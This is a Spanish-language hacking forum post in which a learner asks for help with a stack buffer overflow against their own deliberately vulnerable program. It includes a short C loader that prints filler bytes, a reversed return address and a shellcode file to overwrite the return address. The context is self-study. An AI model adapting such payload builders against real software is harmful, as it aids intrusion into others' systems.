elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Tutorial básico de Quickjs


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Hacking Ético
| | |-+  Bugs y Exploits
| | | |-+  No puedo cambiar bien la direccion de retorno tras un buffer overflow en stack
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: No puedo cambiar bien la direccion de retorno tras un buffer overflow en stack  (Leído 1,393 veces)
harry_the_blogger

Desconectado Desconectado

Mensajes: 105


Visita mi blog es enriquemesa.blogspot.com


Ver Perfil WWW
No puedo cambiar bien la direccion de retorno tras un buffer overflow en stack
« en: 1 Enero 2015, 21:54 pm »

Hola, estoy tratando de aprender sobre los stack-based buffer overflows, y para ello he construido mi propio programa vulnerable. Estoy teniendo problemas. Estoy tratando de jugar con la direccion de retorno para hacer ejecutar funciones que nunca son llamadas. Pero no puedo conseguirlo bien.

El programa vulnerable, recibe una cadena desde el usuario de 16 bytes, y luego la copia en un buffer de 8 bytes usando strcpy. He escrito un exploit sencillo, al cual le indicas cuantos bytes inutiles deseas, y luego la direccion de retorno en hexadecimal.

Pero cuando sobreescribo la funcion de retorno, solo una funcion se ejecuta, las demas (sabiendo su direccion) no lo hacen. ¿Por que sucederá eso? ¿Puede alguien explicarme como sobreescribir bien la direccion de retorno?

Exploit.c
Código
  1. /*Simple Exploit loader
  2.  
  3.     usage: exploit.exe <trash_bytes> <ret addr>
  4.  
  5.     Recibe la cantidad de bytes inutiles necesario para desbordar el buffer
  6.     y usa la direccion de retorno en hexadecimal, convertida a un binario
  7.     plano en un int de 4 bytes, y enviado al revés (por ser little endian, o
  8.    al menos eso pensé cuando lo cree)
  9.  
  10. */
  11.  
  12. #include <stdio.h>
  13. #include <stdlib.h>
  14.  
  15. union ret_addr{
  16.    char bytes[4];
  17.    unsigned int raw;
  18. };
  19.  
  20. int load_file_on_buffer(char filename[], void **ptr_buffer_destiny){
  21.    FILE *file_loaded;
  22.    void *buffer_destiny;
  23.    unsigned int file_size;
  24.  
  25.    file_loaded = fopen(filename, "rb");
  26.    if(file_loaded == NULL)
  27.        return 0;
  28.  
  29.    fseek(file_loaded, 0, SEEK_END);
  30.    file_size = ftell(file_loaded);
  31.    fseek(file_loaded, 0, SEEK_SET);
  32.  
  33.    buffer_destiny = (void *) malloc(file_size+1);
  34.    *ptr_buffer_destiny = buffer_destiny;
  35.  
  36.    fread((char *) buffer_destiny, file_size, 1, file_loaded);
  37.    buffer_destiny[file_size] = '\0';
  38.  
  39.    //printf("BEGIN DEBUG FILE\n");
  40.    //printf("%s", buffer_destiny);
  41.    //printf("\n\nEND DEBUG FILE\n");
  42.  
  43.    fclose(file_loaded);
  44.  
  45.    return file_size;
  46.  
  47. }
  48.  
  49. int main(int argc, char *argv[]){
  50.  
  51.    FILE *shellcode_file;
  52.    char *shellcode;
  53.    int file_size;
  54.  
  55.    int trash_bytes = atoi(argv[1]);
  56.    union ret_addr ret_addr;
  57.    ret_addr.raw = (unsigned int) strtol(argv[2], NULL, 16);
  58.  
  59.    int i = 0;
  60.    for(i; i < trash_bytes; i++){
  61.         printf("a");
  62.    }
  63.  
  64.    if(argc == 3){
  65.    printf("%c", ret_addr.bytes[3]);
  66. printf("%c", ret_addr.bytes[2]);
  67. printf("%c", ret_addr.bytes[1]);
  68. printf("%c", ret_addr.bytes[0]);
  69. }
  70.  
  71.    file_size = load_file_on_buffer("shellcode.bin", &shellcode);
  72.  
  73.    for(i = 0; i < file_size; i++){
  74.         printf("%c", shellcode[i]);
  75.    }
  76.  
  77. }
  78.  

Gracias de antemano. No sé si habrá algo mal con mi exploit. Ya me he estado leyendo la stack y como funciona. Seguire buscando en internet....

EDIT 1:

Estoy jugando con un programa tipo TCP servidor hecho por mi mismo, y en vez de sobreescribir EIP, sobreescribo EDX. ¿Puede alguien decirme por qué? Gracias de antemano.
« Última modificación: 2 Enero 2015, 09:55 am por harry_the_blogger » En línea

Vista mi blog es enriquemesa.blogspot.com
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Problema, return address buffer overflow (Cómo calcular la dirección del buffer?
Bugs y Exploits
Debci 6 5,425 Último mensaje 7 Abril 2014, 20:00 pm
por soez
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines